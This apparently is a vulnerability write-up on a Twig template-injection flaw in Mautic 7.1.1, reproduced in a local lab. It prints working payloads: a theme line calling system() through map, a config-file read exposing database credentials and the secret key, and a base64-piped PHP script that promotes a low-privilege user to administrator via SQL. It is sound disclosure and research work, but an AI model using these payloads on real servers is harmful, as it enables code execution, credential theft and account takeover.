Mautic lets certain users upload custom themes for emails and landing pages. Themes are just Twig templates. Twig templates that aren’t sandboxed are just PHP with extra steps.

We built a lab on Mautic 7.1.1, uploaded a modified theme, and opened the email builder. That was enough to run id on the server.


Root Cause: A Sandbox That Wasn’t There

Here’s what the official developer documentation says about theme rendering, verified directly from devdocs.mautic.org:

Mautic renders User-uploaded Theme templates in a restricted Twig sandbox environment. The sandbox blocks certain functions and filters that could enable remote code execution, data leakage, or filesystem probing.

That’s the intent. A theme can be uploaded by a marketing user, not a developer — so Mautic is supposed to treat its Twig as untrusted input, and enforce that with Twig’s SandboxExtension: a policy object that decides, per template, which tags, filters, and functions are allowed to run.

So why did our theme’s system() call execute without so much as a warning?

Because in the affected versions, that policy object didn’t exist yet.

builder rendering the SSTI payload, id output visible, no SecurityNotAllowedFunctionError

What 7.1.2 Actually Added

The fix introduces a file that didn’t exist before: ThemeSandboxPolicy.php. Its own docblock is honest about what kind of sandbox it is:

/**
 * Denylist-based sandbox policy for theme templates.
 */
final class ThemeSandboxPolicy implements SecurityPolicyInterface
{
    private const DENIED_FILTERS = [
        'map',    // {{ ['id']|map('system')|join }} -> RCE
        'reduce',
        'filter',
    ];

That comment isn’t paraphrased. It’s the Mautic maintainers documenting, in their own fix, the exact payload shape we used before we’d seen a single line of this file:

{{ ["id"] | map("system") | join }}

We didn’t reverse-engineer the vulnerability from a hint in a changelog. We found it by uploading a theme and clicking a button. The fix commit just confirms it.

What the New Sandbox Actually Restricts

checkTagsAreAllowed() and checkFiltersAreAllowed() now throw if a template calls map, reduce, filter, or a denied function. That denylist includes source()and configGetParameter(), which leaks the DB password, secret key, and other application parameters straight from Twig, no filesystem access required.

For everything we needed — command execution, file read via system(), and later a raw database connection — the filter and function denylist alone is what stood between 7.1.1 and 7.1.2.


Lab: Reproducing 7.1.1 in Isolation

We pinned the lab to Mautic 7.1.1 — the last release before the sandbox policy existed — running behind Apache with a MariaDB backend, orchestrated with Podman.

# podman-compose.yml
services:
  mautic-db:
    image: docker.io/library/mariadb:10.11
    environment:
      MYSQL_ROOT_PASSWORD: rootpass
      MYSQL_DATABASE: mautic
      MYSQL_USER: mautic
      MYSQL_PASSWORD: mauticpass

  mautic:
    build:
      context: .
      dockerfile: Dockerfile.mautic
    depends_on:
      - mautic-db
    environment:
      MAUTIC_DB_HOST: mautic-db
      MAUTIC_DB_NAME: mautic
      MAUTIC_DB_USER: mautic
      MAUTIC_DB_PASSWORD: mauticpass
    ports:
      - "127.0.0.1:8080:80"
# Dockerfile.mautic
FROM docker.io/mautic/mautic:7.1.1-apache

Two commands to get a running instance:

podman-compose up -d
./install.sh

install.sh runs Mautic’s own mautic:install console command non-interactively, so the install wizard never has to be clicked through by hand. It leaves us with a working instance and a first Administrator account.

Mautic login page at localhost:8080

Simulating a Real Attacker’s Starting Point

A CVSS score of 9.9 with PR:L means the attacker doesn’t start as an administrator. So neither did we.

We created a second account, priv-esc, and gave its role exactly two permission groups: Themes (create/edit) and Emails (create/edit). Nothing else. No user management, no plugin access, no direct database tooling — just what a marketing team member would plausibly have.

Roles page — “Theme editor only” role, permission matrix showing only Core (Themes) + Emails enabled

Starting page for user Francesco Verdi (priv-esc) having role Theme editor only

Staring page — Francesco Verdi, “Theme editor only” role

Every step from here on is done logged in as priv-esc, not the administrator we set up during install.


Exploitation: From Theme Upload to Administrator

Step 1 — A Theme Is Just a ZIP File

We took Mautic’s own built-in Sparse theme, downloaded it, and changed two things: config.json, to give it a distinct name, and email.html.twig, to add one line.

{
  "name": "Sparse modified",
  "author": "Mautic",
  "authorUrl": "http://www.mautic.com",
  "builder": ["grapesjsbuilder"],
  "features": ["email"]
}
{{ ["id"] | map("system") | join }}

We uploaded it through Themes → Upload. No validation step rejected it. No warning was shown. It just became a theme like any other.

Theme Manager showing “Sparse modified” installed

Step 2 — Triggering the Render

Uploading a theme doesn’t execute it. Something has to render it first.

We went to Channels → Emails → New, picked “Sparse modified” as the template, and opened the builder.

That’s the trigger. The builder has to render the theme to show a preview — and rendering means Twig.

uid=33(www-data) gid=33(www-data) groups=33(www-data)

builder rendering the SSTI payload, id output visible, no SecurityNotAllowedFunctionError

Step 3 — What Else Is Reachable From www-data?

system() doesn’t care what we ask it to run. We asked it to read Mautic’s own configuration file.

{{ ["cat /var/www/html/config/local.php"] | map("system") | join }}
'db_host' => 'mautic-db',
'db_user' => 'mautic',
'db_password' => 'mauticpass',
'secret_key' => 'a15d98da823d751f4a0a5219123f4afbd90eb254074b1cea07518a3c0db70bcd',

priv-esc has no permission to view database settings anywhere in Mautic’s UI. The theme upload permission just handed them over anyway.

builder output showing local.php contents

Step 4 — The Database Doesn’t Know About Mautic’s Permission System

Mautic’s role-based access control lives entirely in the application layer. The database has no idea priv-esc is restricted to Themes and Emails — it just sees a valid MySQL login.

We used the stolen credentials to connect from inside the same system() primitive, piping a small PHP script through base64 | php to avoid quoting issues inside the Twig string:

{{ ["echo <base64> | base64 -d | php"] | map("system") | join }}

The script opens a PDO connection to mautic-db and reads the users and roles tables directly:

1|mautic|1
2|priv-esc|2
ROLE 1|Administrator|1
ROLE 2|Theme editor only|0

Two facts fall out of this query. priv-esc is role_id = 2, is_admin = 0 — exactly the restricted role we built it with, confirming the low-privilege precondition the CVSS score assumes. And role_id = 1 is Administrator.

We now had everything needed to answer the only question left: does the database enforce anything the application doesn’t?

{{ ["echo <base64> | base64 -d | php"] | map("system") | join }}
$pdo->exec("UPDATE users SET role_id = 1 WHERE username = 'priv-esc'");
rows_updated=1
confirm: 2|priv-esc|1

privilege escalation executed

Francesco Verdi (priv-esc) logged out, logged back in, and had the full Administrator sidebar.

privilege escalation executed


Impact: What CVSS 9.9 Actually Buys an Attacker

The advisory’s own numbers: AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H, 9.9 out of 10. PR:L is the detail worth checking against what we actually did, not just what the score implies.

PR:L doesn’t mean “any low-privilege user.” It means whatever the assigned role happens to grant. In our case that was two permission groups — Themes and Emails — chosen to represent a marketing user, not an administrator. Nothing about that role suggested database access, credential exposure, or account management.

It got all three anyway.

That’s the part the score can’t fully express: PR:L describes the entry cost, not the ceiling. Once system() runs as www-data, the attacker isn’t operating inside Mautic’s permission model anymore. They’re operating as the web server. Mautic’s roles, its permission matrix, its “Theme editor only” label — none of it exists at that layer. The database doesn’t check Mautic roles. The filesystem doesn’t check Mautic roles.

So the real gap between PR:L and full Administrator wasn’t a chain of escalations. It was one UPDATE statement, using credentials the same low-privilege account had just read out of a config file it was never supposed to see.

If anything, 9.9 undersells how flat that path is. There’s no privilege ladder here — low-privilege and full-admin are separated by a single SQL query, not a sequence of bugs that each need to hold.


References

ResourceLink
AdvisoryGHSA-9fx4-7cmj-47vg
Fix (sandbox policy)ThemeSandboxPolicy.php
Vulnerable repomautic/mautic